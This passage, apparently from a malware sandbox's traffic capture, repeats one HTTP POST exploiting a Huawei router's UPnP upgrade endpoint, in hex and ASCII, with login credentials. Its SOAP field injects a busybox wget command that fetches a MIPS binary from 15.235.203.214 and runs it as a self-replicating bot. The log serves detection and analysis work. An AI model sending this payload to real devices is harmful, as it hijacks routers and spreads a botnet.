78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 